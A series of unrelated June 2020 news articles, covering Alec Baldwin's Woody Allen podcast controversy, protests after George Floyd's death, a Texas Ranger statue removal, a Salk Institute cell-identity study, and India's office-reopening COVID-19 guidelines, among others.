
'Interesting to listen to how a 6 year old explains diversity,' she wrote, in part, as a caption to the clips.

Hilaria's share comes after husband Alec, 62, responded to overwhelming criticism earlier in the week about his recent social media output.

The Beetlejuice actor posted a lengthy video to his Instagram account which addressed outrage over both his decision to promote controversial director Woody Allen and dismissal of #BlackoutTuesday as 'this...national day of whatever'.

He called the video a 'pre-break ramble' and also declared he would 'be taking a break from social media for a time.'

Speaking up: Baldwin has responded to criticism about his recent social media output

However that promise was immediately broken, when the star of The Departed returned to the social media platform to post a video of flowers and some clouds.

He captioned that post: 'Taking a break to smell the flowers. (Only posting contractually required promotions)'.

In his nearly ten-minute long video, the quick-tempered star defended his dismissal of 'Blackout Tuesday protocols' as simply seeing voting as 'equally, if not more important' than the social media movement.

He also referred to his participation in social media as 'a form of psychosis'.

However Alec's focus was on his belief in the innocence of his most recent podcast guest Woody Allen.

Time out: He called the video a 'pre-break ramble' and also declared he would 'be taking a break from social media for a time'

Outrage: The 62-year-old actor posted a lengthy video to his Instagram account which addressed outrage over both his decision to promote controversial director Woody Allen and dismiss #BlackoutTuesday as 'this...national day of whatever'

The Annie Hall helmer's appearance on Here's The Thing had been promoted during Tuesday's 'blackout', resulting in criticism of Alec for both bad timing and support of an alleged sexual predator.

In 1992 Dylan Farrow, Allen's estranged adopted daughter with ex-Mia Farrow, accused him of sexually molesting her when she was seven years old.

Now 34, Dylan later repeated her allegations several time as an adult and, for his part, Woody has long denied her accusations.

Asserting his belief in Allen's innocence, Baldwin said 'there were two [police] investigations [into the allegations] and he was cleared by both.'

'There are people who believe Woody based on two forensic reports and evaluations that were done at the time.'

Not having fun: He also referred to his participation in social media as 'a form of psychosis'

Baldwin is facing backlash for promoting his new podcast interview with controversial director Woody Allen on #BlackoutTuesday.

Baldwin took to social media with several posts about the interview and was immediately met with fury from his followers for not only his choice to sit down with Allen, who has been accused of sexual assault by his adopted daughter, but also for his 'tone-deaf' timing.

BlackoutTuesday was devised to disrupt the work week by stopping production and social media promotion in order to reflect and focus time and energy on promoting black artists, businesses and projects.

Defending himself: Baldwin is facing backlash for promoting his new podcast interview with controversial director Woody Allen on #BlackoutTuesday and then he doubled down on his choices after being met with fury from his followers; seen with Hilaria in April, 2019

On Tuesday, the 62-year-old actor shared a shot of director Woody Allen on his Instagram with a long caption hyping up their conversation on his podcast, Here's The Thing.

Allen came on as a guest to discuss his controversial new memoir, Apropos of Nothing.

'Woody Allen's new book, Apropos of Nothing, starts with a portrait of his father, a tough-guy World War One Navy veteran and onetime gunman in a firing squad,' Baldwin's caption read.

'It's the first of a series of surprising, fascinating stories from a life that went from working-class Jewish Brooklyn in the 1940s to movie sets in Rome and Paris.'

Backlash: Followers immediately took umbrage with Baldwin for his choice to interview Allen, who has been accused of sexually molesting his adopted daughter when she was seven, and the fact that he posted the promo messages on #BlackoutTuesday

'National day of whatever': Alec went on to tell his followers he had 'no idea' about #blackouttuesday and added the 'professional lives of some people cannot be put on hold at the whims of political correctness'

'The book also addresses the accusation of an incident of sexual abuse leveled by Dylan Farrow. Allen and Alec cover it all -- plus how he's doing in the age of coronavirus -- in this candid and wide-ranging interview.'

'I've worked on three Woody Allen films, each being a highlight of my career,' Alec Baldwin wrote in a second post promoting his podcast.

Adding: 'Today he joins me on my podcast and we talk about everything from his mentors, to his method of directing, and the accusation of sexual abuse.'

A time to pause: BlackoutTuesday was devised to disrupt the work week by stopping production and social media promotion in order to reflect and focus time and energy on promoting black artists, businesses and projects.

Anger: Alec jumped into the comments and doubled down on his relationship with Allen, saying he believes the director is 'innocent' and called Blackout Tuesday a 'national day of whatever'

His followers seemed floored that Baldwin went ahead with his business-as-usual promotional posts, which came on the same day as #BlackoutTuesday.

'Always love following your account but this is a tone deaf thing to post today,' one person quipped.

Others added things like 'I am speechless, 'Are you serious?' and 'accused him of being 'dismissive' and 'defending a pedophile.'

Baldwin is pictured here with Allen on the set of To Rome with Love in 2011

'Was this a scheduled post? Might be better rescheduled for another day, as the majority of us are obviously taking the day to show solidarity and also to take the time to listen and learn about white privilege,' another added. 'This post surprises me. Please let me know if this is a post that you just put up and wasnt scheduled.'

Despite some people trying to give Baldwin the benefit of the doubt, he actually doubled down on his relationship with Allen and the timing of his posts calling Blackout Tuesday a 'national day of whatever.'

Alec jumped into the comments with a lengthy response explaining away his choices because he was obligated to promote the episode as his guests 'have either requested or required a specific posting date in order to promote a project.'

'We make every effort to honor those requests. Allen is no exception,' he said. 'As for the perceived lack of sensitivity re BlackOutTuesday, I had no idea about this...national day of whatever.'

Social media: As part of Blackout Tuesday, social media users have been sharing blank black images to show solidarity, like this one by Justin Bieber; Those images have been met with some criticism by many who see them as a hollow gesture that serves to clog up feeds and silence black voices.

'Three things: the professional lives of some people cannot be put on hold at the whims of political correctness. I believe Allen is innocent and that is my right. Posting a black screen today or any other day, though a decent sentiment, is not an effective political stance.'

As part of Blackout Tuesday, social media users have been sharing blank black images to show solidarity.

However, those images have been met with some criticism by many who see them as a hollow gesture that serves to clog up feeds and silence black voices.

Particularly, those posting the black boxes have been asked not to use the Black Lives matter hashtags in those posts (#BlackLivesMatter, #BLM) to keep those feeds flowing with crucial information.

In defense: Baldwin later reposted a call to action from his 24-year-old daughter Ireland about how the black squares are overtaking feeds and suppressing black voices and she came to his defense in comments

Baldwin suggested that viral hashtags didn't do much good for the overall cause and said 'voting, and working to enroll others to vote, is more...practical.'

He reposted a call to action from his 24-year-old daughter Ireland about how the black squares are overtaking feeds.

She responded in the comments defending her her dad: 'Although the black squares are a sign of solidarity, Im shedding light to the posts that my black activist friends are continuing to post and get out there.

'I think everyone commenting negatively is missing the whole idea here. defending my dad because I know his intentions and where his heart is at.'

On Monday, Ireland was spotted marching alongside protesters in Van Nuys, California.
Plus, more good news and positive headlines from the Bay Area and beyond.

17-year-old Mission District teen leads protest of thousands in San Francisco, SFGate



An estimated 30,000 protesters peacefully gathered in the Mission on Wednesday thanks to the organizing efforts of local high school students. Read more.





Kamala Harris and Andrew Yang lead the call for monthly coronavirus stimulus payments, Fortune

California Senator Kamala Harris and her fellow former presidential hopeful Andrew Yang are proposing monthly checks of $2,000 for every American over the course of the pandemic. Read more.





San Francisco Restaurants Donate Proceeds to Civil Justice and Police Reform Efforts, SF Eater



Want to fight racial inequality while also stuffing your face? These SF restaurants are dedicating funds to the cause. Read more.





California will be for Californians this summer, SFGate

Tired of competing with tourist for campsites at Yosemite and trail space in Tahoe? Here's looking on the bright side of pandemic-era travel restrictions. Read more.

'Black Lives Matter': In giant yellow letters, D.C. mayor sends message to Trump, The Washington Post



Fine, it's not a Bay Area story. But we love this! Read more.
WASHTENAW COUNTY, MI -- Former Democratic presidential candidate Bernie Sanders has endorsed Eli Savit for Washtenaw County prosecutor, his campaign announced Thursday, June 4.

Savit, an Ann Arbor attorney and Democrat who wants to reform the justice system through the prosecuting attorneys office, gained the progressive leaders approval because of plans that include eliminating cash bail, addiction and mental health treatment programs and more, according to a news release.

Reformist candidate launches campaign for Washtenaw County prosecutor

What happens in these offices across the country is critically important and will impact millions of lives, Sanders said in a statement. Eli Savit led the citys [of Detroits] efforts to hold the pharmaceutical industry accountable for the opioid epidemic. He also spearheads the citys efforts to make it easier to expunge criminal records.

We need district attorneys and prosecutors who understand that their job is not throwing people in jail but that their job is fighting for justice.

Savit is competing in the Democratic primary against defense attorney Hugo Mack and Ann Arbor senior assistant attorney Arianne Slay. Macks campaign focuses on restorative justice practices, such as dispute resolution and other methods that avoid jail time. Slays campaign focuses on her experience in prosecution, working with community leaders and addressing rates of reoffending.

Washtenaw prosecutor hopefuls sound off on key issues in debate

Current prosecutor Brian Mackie announced he intended to retire last summer. No candidate filed for the Republican primary, meaning the prosecutor will effectively be chosen from the Aug. 4 election.

Sanders also recently endorsed Rep. Yousef Rabhis re-election campaign in the Michigan House of Representatives 53rd district.

MORE FROM THE ANN ARBOR NEWS AND MLIVE:

Am I still going to get the full experience? Students facing uncertainty at Michigans small colleges

White people: do something, Ann Arbor protest organizer says during march through neighborhoods

Where to find Michigans Best doughnuts on National Doughnut Day
I am delighted that Jesse continues to grow with us & has aligned himself with the technical vision of the company. Jesses hard work & determination for leading technical innovation will help INCATech achieve higher levels of solution delivery for our customers  Liliana Freedman, President & CEO.

INCATech is excited to announce that Jesse Osborne has been promoted as our new Chief Technology Officer (CTO). Jesse joined INCATech two years ago as our Geographic Information System (GIS) Practice Lead. In this position Jesse fully embraced a leadership role covering all dimensions of growing a business practice area by expanding our GIS capabilities through solution delivery, winning more GIS related contracts, and bringing great talent into the organization.

As CTO for INCATech, Jesse will be responsible for overseeing INCATechs technological vision, he will implement technology strategies and ensure that the technological resources are aligned with the business needs of the organization. Additionally, Jesse will continue to manage all functional technology practice areas and associated staff to collectively understand a customers mission and objectives to optimally design, develop and execute work plans.

Jesse will provide thought leadership, innovation, and creativity to inform strategic recommendations to the customer and internal INCATech leadership to affect improvements in processes, deliverables, and outcomes. As Jesse has done in the past, he will continue to identify new areas of emerging technology opportunities, strategically guide, and create implementation plans for capitalizing on those opportunities and continue to grow our company in various capacities.

About INCATech

INCATech is an SBA 8(a) certified Woman Owned Small Business that has provided innovative technology to U.S. government and commercial customers for nearly a decade. Our expert teams apply Agile methodologies and use state-of-the-art products to achieve your mission goals and deliver breakthrough results. incatech-corp.com


A group of residents including children held rifles and other weapons as they blocked their road to 'guard it from looters'.

Footage of the group, who were standing next to their cars to block the street, was posted on website LiveLeak.

The residents were allegedly guarding their street to stop looters after stores in many parts of the country were raided during nationwide unrest caused by the death of black man George Floyd.

A group of residents including children held rifles as they blocked their road to 'guard it from looters'. Footage of the group, who were standing next to their cars to block the street, was posted on website Liveleak

The video of the guarding residents was filmed by a family in a passing car.

They are seen driving past them before using a roundabout to drive back the other way.

The group, who number at least 12, are standing next to their cars and some are holding rifles.

One man is wearing a military-style helmet, combat boots and pants and is holding a rifle.

As the family pass the residents, an older woman in the car says, 'he has a gun in the black shirt' as she refers to the man in the helmet.

A girl in the car then adds: 'This is in Belleview.'

The residents were allegedly guarding their street to stop looters after stores in many parts of the country were raided during nationwide unrest caused by the death of black man George Floyd

As she turns the car back around, the older woman then says: 'Look at all these white people. Look at them with their guns.'

Although it isn't clear from the video, she claims a teenage boy is also standing with a gun.

'Look at that little boy, he's a young man with a gun. He's like 16,' she says.

The video was posted on LiveLeak on Tuesday as protesters gathered for a ninth straight day following the death of George Floyd in Minneapolis.

He was killed after white police officer Derek Chauvin pinned him to the ground by kneeling on his neck on Memorial Day.

Floyd, who was in handcuffs at the time, died after Chauvin ignored bystander shouts to get off him and Floyd's cries that he couldn't breathe.

The video of the guarding residents was filmed by a family in a passing car. They are seen driving past them before using a roundabout to drive back the other way

His death, captured on citizen video, sparked days of protests in Minneapolis that quickly spread to cities across America.

Tuesday's gatherings were quieter than previous nights which had seen looting in areas including Soho in Manhattan.

Stores including Adidas and Verizon were ransacked in New York.

Some demonstrators had also set fires, burning stores down in Minneapolis and elsewhere.

There were also violent clashes with police, who were criticised for being heavy-handed after using tear gas, pepper spray and rubber bullets to break up crowds.
South Africa: Post Office delivers laptops to Wits students during lockdown

Almost 5 000 Wits students have received laptops, delivered by the South African Post Office (SAPO), to enable online learning during the nationwide lockdown.

Through its Speed Services Courier Unit, SAPO delivered the laptops to the homes of disadvantaged Wits students across South Africa, including in rural areas.

Due to the national COVID-19 lockdown, Wits University suspended contact teaching and commenced with emergency remote teaching and learning on 20 April 2020.

In its transition to online learning, Wits established a mobile computing bank, which granted qualifying students access to a mobile device for online learning purposes.

A partnership with the SAPO ensured that students, who needed mobile devices, could continue learning during the lockdown. SAPO successfully delivered these devices to the homes of students.

SAPO Acting CEO, Ivumile Nongogo, thanked the SAPO staff, who ensured the seamless delivery of mobile devices to Wits students.

I want to commend our drivers and other employees for their dedication during this time when regular transport connections were not available.

This is another example of the role that the Post Office plays in making South Africas infrastructure work and bringing services to the people, he said.

Professor Adam Habib, the Wits Vice-Chancellor and Principal, expressed his deep gratitude towards the SAPO.

All devices were delivered promptly by SAPO employees to students at various locations across the country, including many rural areas, thus enabling the students to participate in the universitys online academic programme.

We are appreciative of the SAPO and its efficient delivery of services that has positively impacted on the lives of thousands of students, he said.

Habib lauded the project as an example of how public institutions can work together efficiently to achieve a common good that benefits society.  SAnews.gov.za

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
(Newser)  A published account of brutal and racist chapters in the history of a Texas investigative agency prompted Dallas officials to remove a statue from Love Fields passenger terminal that honored the agency. The 12-foot-tall bronze statue of a Texas Ranger, called "One Riot, One Ranger," has been a focal point in the terminal since 1963. A new book on the Rangers, Cult of Glory, offered chilling details about dark chapters of the Rangers history, the AP reports. The book by former Pulitzer Prize finalist Doug J. Swanson, a longtime reporter for the Dallas Morning News who is now on the University of Pittsburgh faculty, says the statue depicts Capt. Jay Banks. The captain was in charge of a Ranger contingent dispatched in 1957 by then-Gov. Allan Shivers to keep black students from enrolling in Mansfield's high school and a Texarkana community college despite court rulings that should have prevented Shivers from doing so.

story continues below

Swanson tells the Morning News that "Banks became sort of the face for that because theres a famous picture of him leaning against a tree in front of Mansfield High School while a black figure hangs in effigy above the school, with Banks making no effort to take it down. And Banks sided with the mobs who were there to keep the black kids out." He later became the face of "a statue that welcomes people to Dallas," he said. Swanson noted the title "One Riot, One Ranger" came from a Ranger's report of a scene at the Grayson County Courthouse in 1930, when a black man stood trial for assaulting a white woman. The mob eventually set fire to the courthouse and roasted the black man alive after he sought refuge in a courthouse safe. Airport spokesman Chris Perry said the statue will be placed in storage for now, with its fate to be decided eventually by the citys Office of Arts and Culture. (Virginia plans to remove a statue of Robert E. Lee in Richmond.)
Cancer is often the result of DNA mutations or problems with how cells divide, which can lead to cells "forgetting" what type of cell they are or how to function properly. Now, Professor Martin Hetzer and a team of scientists have provided clarity into how new cells remember their identity after cell division. These memory mechanisms, published in Genes & Development on June 4, 2020, could explicate problems that occur when cell identity is not maintained, such as cancer.

We gained new insights into the memory mechanisms that allow the right genes to turn on at the right time, so that a new cell can become the same type of cell as the parent cell. Our findings lay the foundation for understanding this brief and dynamic cell life stage that is critical for cellular identity." Professor Martin Hetzer, the paper's senior author and holder of the Jesse and Caryl Philips Foundation Chair and Salk's Chief Science Officer

Cell division is one of the most critical periods of tissue development and homeostasis. During this process, called mitosis, cells have to copy all their DNA correctly and then split evenly in two. To reduce distractions, gene activity turns off during mitosis, right before the cells divide, stopping the production of proteins. After the cell divides into two cells, gene expression turns back on, in a coordinated fashion, to restart protein production. This process of starting up the production of specific proteins informs the cell of what it should become. Yet, scientists did not know how exactly this process worked.

"We wanted to understand the molecular mechanisms of cell identity and transcriptional memory," says the paper's first author, Hyeseon Kang, a UC San Diego graduate student in Hetzer's lab. "How does the mother cell pass on identity to the daughter cells through cell division?"

Under normal conditions, cultured cells in the laboratory are at multiple stages of the cell cycle. This makes it difficult to pinpoint the time period right after mitosis when the cells are remembering what type of cell to become. Hetzer's team synchronized retinal cells and bone cancer cells using a chemical inhibitor, which aligned them to the same stage of the cell life cycle. The scientists were then able to examine the short window when genes are active after mitosis. This technique provides a complete picture of the reactivation of the cell's entire genome after mitosis, for the first time.

The team found that many genes are activated immediately after cell division. The genes act in a cascade, like a row of falling dominos, to send critical signals to activate additional genes. This process of activation allows the cell to "wake up" from its cellular amnesia and become its destined identity.

"This research focuses on a fundamental question: How does a cell remember who it is and what it's supposed to be doing?" says Jesse Dixon, an author of the paper and a fellow in the Helmsley-Salk Fellows Program. "We have mapped out when and where a lot of these memory features are established. Next, we can start to manipulate specific features to gain a better mechanistic understanding of cell identity."
CHESTERFIELD, Va. - A Pakistani national has been sentenced to 60 years in prison in a murder-for-hire plot in which a Virginia businessman was strangled with his own shoelaces.

Chaudhary Arshad Mahmood, 61, received his sentence in Chesterfield Circuit Court on Wednesday, The Richmond Times-Dispatch reported.

He was convicted of first-degree murder and solicitation to commit murder in February for the 2015 killing of Adel M. Elmadany, news outlets said.

Prosecutors alleged Mahmood paid two men from Guatemala a total of $6,000 to carry out the plot because he believed Elmadany had helped shelter his wife while the couple was going through a divorce.

Mahmood also claimed that $70,000 in cash, 4 ounces (113 grams) in gold and important documents had gone missing from him and suggested the items may have ended up with Elmadanys wife, according to prosecutors.

Mahmood maintained his innocence during the trial and claimed he only hired the co-defendants to negotiate for the return of his property, and that the men acted on their own when they killed Elmadany in his auto sales business, The Times-Dispatch reported.

Mahmood fled to Pakistan while he was being investigated and was arrested by local and federal agents in 2019 upon his return to Virginia, authorities said.

___

This story corrects the spelling of Pakistani.
WASHINGTON - The security perimeter around the White House keeps expanding. Tall black fencing is going up seemingly by the hour. Armed guards and sharpshooters and combat troops are omnipresent.

In the 72 hours since Monday's melee at Lafayette Square, the White House has been transformed into a veritable fortress - the physical manifestation of President Donald Trump's vision of law-and-order "domination" over the millions of Americans who have taken to the streets to protest racial injustice.

VIRAL BAYTOWN ARREST: Men arrested after questioning Baytown PD over arrest of black man

The White House is now so heavily fortified that it resembles the monarchical palaces or authoritarian compounds of regimes in faraway lands - strikingly incongruous with the historic role of the executive mansion at 1600 Pennsylvania Ave. NW, which since its cornerstone was laid in 1792 has been known as the People's House and celebrated as an accessible symbol of American democracy.

This week's security measures follow nighttime demonstrations just outside the campus gates last weekend that turned violent. White House officials stressed that Trump was not involved in the decision to beef up security or to increase the fencing around the compound's perimeter, with one senior administration official saying that the precautions are not unique to the Trump administration.

Nevertheless, the resulting picture is both jarring and distinctly political - a Rorschach test for one's view of Trump's presidency. His supporters see a projection of absolute strength, a leader controlling the streets to protect his people. His critics see a wannabe dictator and a president hiding from his own citizenry.

Trump - who has long gravitated toward strongman leaders abroad and has sought to bathe himself in military iconography - likes the images of police and troops enforcing order, believing they symbolize his toughness and communicate that his crackdown has largely controlled unrest in the streets of Washington, according to White House officials.

"Washington is in great shape," Trump said Wednesday in a Fox News Radio interview. "I jokingly said, a little bit jokingly, maybe, it's one of the safest places on earth. And we had no problem at all last night. We had substantial dominant force and it - we have to have a dominant force. Maybe it doesn't sound good to say it, but you have to have a dominant force. We need law and order."

Deborah Berke, dean of the Yale School of Architecture, said the White House barricaded as if it were a military base, with multiple layers of black fencing surrounding the limestone Georgian structure, conveys the opposite message and represents a physical violation of democracy.

"I think the need to fortify your house - and it's not his house; it's our house - shows weakness," she said. "The president of the United States should not feel threatened by his or her own citizens."

The campaign of former vice president Joe Biden, the presumptive Democratic nominee, says Trump's desire to project toughness will not work with many voters.

JUSTICE FOR GEORGE FLOYD: How George Floyd's death has inspired efforts to strengthen Texas' Sandra Bland Act

"Firing tear gas and shooting rubber bullets at peaceful demonstrators outside the People's House doesn't make anyone safer or Donald Trump seem tougher, and it certainly doesn't address the systemic racism and inequality that has plagued our country for generations," Biden spokesman T.J. Ducklo wrote in an email.

Security around the White House has ratcheted up over the years, with Pennsylvania Avenue closed to vehicular traffic following the 1995 Oklahoma City bombing, and a taller permanent fence constructed a few months ago in response to several breaches during the Obama administration.

This week, however, the security perimeter was expanded. Two north entrances along Pennsylvania Avenue NW were closed, with staff and visitors routed to a southwest gate on 17th Street NW.

On Wednesday, a Secret Service agent was stationed outside that gate, a second agent was in a booth checking people's identification, and someone checked people's temperatures in a medical tent - a preventive measure in place because of the coronavirus pandemic. Visitors were then taken into a fourth booth for security checks, where they walked through a metal detector and had their bags screened.

Inside the building, however, Secret Service agents occupied their normal guard stands and there did not appear to be a heightened security presence.

District of Columbia Mayor Muriel Bowser, a Democrat, told reporters Thursday that she is "concerned that some of the hardening that they are doing may be not just temporary."

"It's a sad commentary that the house and its inhabitants have to be walled off," Bowser said. "We should want the White House to be opened up for people to be able to access it from all sides."

Alyssa Mastromonaco, a former top Obama White House aide who directed operations, decried what she called "an incredibly sad transformation" to the White House this past week.

"Laura Bush believed in opening the White House to the public," Mastromonaco said. "Michelle Obama took that idea and expanded to the People's House. She routinely would say, this was not ours; it belonged to the American people. And our job was to make sure there was not one child left in this country who didn't believe they belonged there. Everyone is good enough to walk through those doors."

Trump White House officials, too, said they are eager for the expanded perimeter and additional barriers to be removed. The goal had been to spread protesters out to a larger area away from the White House so the crowd didn't get too large to manage in any one place, explained one of the officials, who like some others interviewed spoke on the condition of anonymity to relate internal discussions.

Attorney General William Barr, whom Trump has placed in charge of coordinating the federal law enforcement response, suggested Thursday that the military presence and security protocols around the White House probably would soon diminish because officials had seen a dramatic reduction in violence in the preceding two days.

"After assessing the situation last night toward the end of the evening, or maybe early in the morning, I felt that we could afford to collapse our perimeter and eliminate some of the checkpoints and so forth and take a little bit of a more low-profile footprint," Barr told reporters. "We have seen a sharp reduction in violent episodes."

Kerri Kupec, a Barr spokeswoman, said the attorney general was referring to the north perimeter, which was being collapsed from I Street to H Street NW.

Some new barriers along the east and west perimeters of the White House are still going up, in preparation for tens of thousands of expected demonstrators this weekend, administration officials said. It was unclear who controls this new fencing along the east and west perimeters, though a Park Police spokesman said all the barriers were managed by the Secret Service.

The Secret Service said in a statement that the closures will be in effect until June 10 in "an effort to maintain necessary security measures surrounding the White House complex, while also allowing for peaceful demonstration."

Trump has been receiving regular updates from aides about the status of the security perimeter and has closely monitored television news coverage, according to an adviser.

The president has been sensitive to the perception fanned by his critics that he is cowering in a bunker and fearful for his own safety. Aides said he was livid that the media found out that he had been rushed into a secure underground bunker last Friday night with wife Melania and son Barron after several protesters breached the temporary fences near the Treasury Department grounds adjacent to the White House. He had claimed falsely that he entered the bunker only for "an inspection."

The bunker report has made Trump the subject of mockery on some cable news shows as well as on social media, where some users have dubbed him "Bunker Boy."

Far from hiding away inside, a senior White House official said, the president has left the grounds twice this week - on Monday for his controversial photo op at the historic St. John's Episcopal Church and on Tuesday to visit the Saint John Paul II National Shrine in Northeast Washington.

Trump aides are divided over the political impact of the recent events. Some believe Trump has "totally botched" his handling of the protests and created "an unmitigated disaster," according to one outsider adviser.

Kevin Madden, a top aide on Republican Mitt Romney's 2012 presidential campaign, warned that the images could undermine Trump's contention that he has the situation under control.

"You're an incumbent who's declaring 'law and order' and the split-screen shows that there is serious unrest and upheaval, and then there are the images of security barriers going up around buildings that many Americans have always had free access to," Madden said. "That change can oftentimes really shape perceptions in a challenging way."

But other Trump advisers argue that the president stands to benefit politically once the unrest passes since he has positioned himself as a law-and-order commander in chief who is protecting the public's security and safety.

Sen. Lindsey Graham, R-S.C., who spoke with the president on Wednesday night, said, "It's probably necessary for the moment in which we live. It will pass."

Past presidents have resisted security suggestions at and around the White House that could stoke fears that the government was under threat.

Following the 1941 attack on Pearl Harbor, President Franklin D. Roosevelt balked at efforts to fortify the White House, which at the time had been open to casual visitors strolling the grounds during the day, according to historian Doris Kearns Goodwin.

Fearful about a bombing attack, the Secret Service wanted Roosevelt to cover skylights with sand, to camouflage the White House, to paint the windows black, to stand up machine-gun emplacements and to build a bomb shelter, Goodwin said.

"FDR rejected most of these recommendations, though he finally agreed, 'with not a little annoyance,' to the construction of a shelter in the Treasury Department," Goodwin said in an email.

Scott Berg, a professor at George Mason University and the author of "Grand Avenues," a history of the creation of Washington, said Pierre L'Enfant designed the nation's capital as "a stage for the enactment of America's experiment in federalism and democracy." Berg said the connection between this ceremonial and performative space and the nation's people risks being lost.

"D.C. is basically a backdrop for acts of American theater, and L'Enfant was brilliant in that respect," Berg said. "When we put ourselves on the Mall, when we put ourselves on Lafayette Square, when we put ourselves on Pennsylvania Avenue - we're really operating from our sense of other people having done this before us."

Berke concurred, saying the image of the White House connotes government coexisting within urban civic life, but now resembles a fortress.

"There are impenetrable walls, like what you'd put around a prison," she said. "We all want to believe in the postcard vision of the White House, that you as a citizen can walk past it and see it, that its lawn and greenery and elegance and spaciousness extend to you as a citizen, that the president lives there but he is a citizen just like the rest of us. All of that is somehow denied by building a wall around it."

- - -

The Washington Post's Fenit Nirappil contributed to this report.
Tammy Hembrow slammed 'ignorant people' in her latest Instagram post on Friday.

The 26-year-old influencer shared a behind-the-scenes picture from a photo shoot the day prior where she was seen rolling her eyes.

It comes shortly after the Australian star pledged her support for the Black Lives Matter movement.

Vocal: Tammy Hembrow, 26, SLAMMED 'ignorant people' in an Instagram post on Friday, after pledging her support for the Black Lives Matter movement

'When you realise just how many ignorant people there really are out there,' Tammy wrote in the post's caption.

In the photo, the mother-of-two wore a black crop top and leggings, and rested her toned frame against a wooden prop.

Her long platinum locks were styled underneath a black headband, and she looked less than impressed, rolling her eyes back.

On Monday night, Tammy addressed the #BlackLivesMatter protests which have erupted in the U.S. in response to the death of George Floyd.

Speaking out: On Monday night, the fitness mogul addressed the #BlackLivesMatter protests which have erupted in the U.S. in response to the death of George Floyd

The fitness mogul shared a post with her 11 million Instagram followers declaring her solidarity with anti-police brutality demonstrators.

She also acknowledged her 'privileged' position as a light-skinned woman, prompting one of her fans to point out that she'd previously identified as mixed race.

Tammy's post read in part: 'I know that I am privileged because of the colour of my skin and will never truly understand the injustices that have been going on since forever and that are still happening today.

'I have many friends that are POC [people of colour] as well as family members and I am doing them a disservice by staying quiet on my platform with everything that is going on. I need you to know that I hear you and I stand with you.'

Statement: Tammy shared this post with her 11 million Instagram followers, declaring her solidarity with anti-police brutality demonstrators in America and around the world

One of her followers replied, 'But I thought you were a person of colour.' In response to this, Tammy clarified her ethnic background.

'I am mixed,' she wrote. 'But when you look at me and don't know me, you don't see that by the colour of my skin.'

A discussion about Tammy's racial heritage began in the comments section, as several fans noted that they 'didn't know she was mixed' until she mentioned it.

Others said the businesswoman should be considered a person of colour because her mother, Nathalie Stanley, is Trinidadian.

Debate: A discussion about Tammy's racial heritage began in the comments section, as several fans noted that they 'didn't know she was mixed' until she mentioned it

Background: Tammy's father, Mark Hembrow, is a white Australian. Her mother, Nathalie Stanley (pictured), is of mixed heritage from Trinidad and Tobago

'You [are] still black, regardless of your complexion. Even your children have black features,' one follower wrote.

Another commented: 'Your mother is Trini, honey, you're black. You're a person of colour. Doesn't matter if you're mixed.'

Meanwhile, several fans agreed Tammy had made the right decision by acknowledging her privilege as a light-skinned person despite having some black heritage.

Tammy's father, Mark Hembrow, is a white Australian. Her mother, Nathalie Stanley, is of mixed heritage from Trinidad and Tobago.

Tammy explained her ethnic background in a YouTube video from 2018 entitled 'Meet my mum'.

'I told everyone how you're from Trinidad and Tobago, and everyone is like, "Why isn't she black?"' she said, addressing her mother.

'I am black,' replied Nathalie.

When her daughter asked, 'But why aren't you [black] actually?', Nathalie responded matter-of-factly: 'It's called mixed race.'

Turning the camera to herself, Tammy said: 'Yeah, so my mum is actually from Trinidad and Tobago. My grandma is black.'
The Ministry of Health and Family Welfare has asked employers to allow employees living in containment zones to work from home till their locations are de-notified as a hotspot. This period will not be counted as leave period, the ministry said in its guidelines for offices reopening from June 8 under the first phase of lockdown's staggered reopening.

The government has shared plans lifting the nationwide coronavirus-mandated lockdown in a phased manner. In the first phase, with emphasis on economic activities, the Home Affairs Ministry has allowed shopping malls, restaurants, hotels, places of worship and offices to reopen from June 8. The guidelines had stated that the Health Ministry will issue specific standard operating procedures for all these establishments.

In the guidelines, office managements have been asked to sanitise the premises thoroughly and often, and ensure that infected persons are not allowed to enter. The Health Ministry SOP for offices emphasises on social distancing and work from home practices.

The generic guidelines - mandatory face masks, restricted movement of vulnerable age groups, use of Aarogya Setu app, etc - will also apply to offices, along with other establishments reopening from next Monday.

Below are the complete guidelines for reopening offices and managing cases, should they emerge:

i. Entrance to have mandatory hand hygiene (sanitiser dispenser) and thermal screening provisions.

ii. Only asymptomatic staff/visitors shall be allowed.

iii. Any officer and staff residing in the containment zone should inform the supervisory officer and not attend the office till the containment zone is denotified. Such staff should be permitted to work from home and it will not be counted as leave period.

iv. Drivers shall maintain social distancing and shall follow required dos and don'ts related to COVID-19. It shall be ensured by the service providers/ officers/ staff that drivers residing in containment zones shall not be allowed to drive vehicles.

v. There shall be provision for disinfection of the interior of the vehicle using 1% sodium hypochlorite solution/ spray. A proper disinfection of steering, door handles, keys, etc. should be taken up.

vi. Advise all employees who are at higher risk i.e. older employees, pregnant employees and employees who have underlying medical conditions, to take extra precautions. They should preferably not be exposed to any front-line work requiring direct contact with the public. Office management will have to facilitate work from home wherever feasible.

vii. All officers and staff / visitors to be allowed entry only if using face cover/masks. The face cover/mask has to be worn at all times inside the office premises.

viii. Routine issue of visitors/temporary passes should be suspended and visitors with proper permission of the officer, who they want to meet, should be allowed after being properly screened.

ix. Meetings, as far as feasible, should be done through video conferencing.

x. Posters/standees/AV media on preventive measures about COVID-19 to be displayed prominently.

xi. Staggering of office hours, lunch hours/coffee breaks to be done, as far as feasible.

xii. Proper crowd management in the parking lots and outside the premises - duly following social distancing norms be ensured.

xiii. Valet parking, if available, shall be operational with operating staff wearing face covers/ masks and gloves as appropriate. A proper disinfection of steering, door handles, keys, etc. of vehicles should be taken up.

xiv. Any shops, stalls, cafeteria etc., outside and within the office premises shall follow social distancing norms at all times.

xv. Specific markings may be made with sufficient distance to manage the queue and ensure social distancing in the premises.

xvi. Preferably separate entry and exit for officers, staff and visitors shall be organised.

xvii. Proper cleaning and frequent sanitisation of the workplace, particularly of the frequently touched surfaces must be ensured.

xviii. Ensure regular supply of hand sanitisers, soap and running water in the washrooms.

xix. Required precautions while handling supplies, inventories and goods in the office shall be ensured.

xx. Seating arrangement to be made in such a way that adequate social distancing is maintained.

xxi. Number of people in the elevators shall be restricted, duly maintaining social distancing norms.

xxii. For air-conditioning/ventilation, the guidelines of CPWD shall be followed which inter alia emphasises that the temperature setting of all air conditioning devices should be in the range of 24-30oC, relative humidity should be in the range of 40-70%, intake of fresh air should be as much as possible and cross ventilation should be adequate.

xxiii. Large gatherings continue to remain prohibited.

xxiv. Effective and frequent sanitation within the premises shall be maintained with particular focus on lavatories, drinking and hand washing stations/areas.

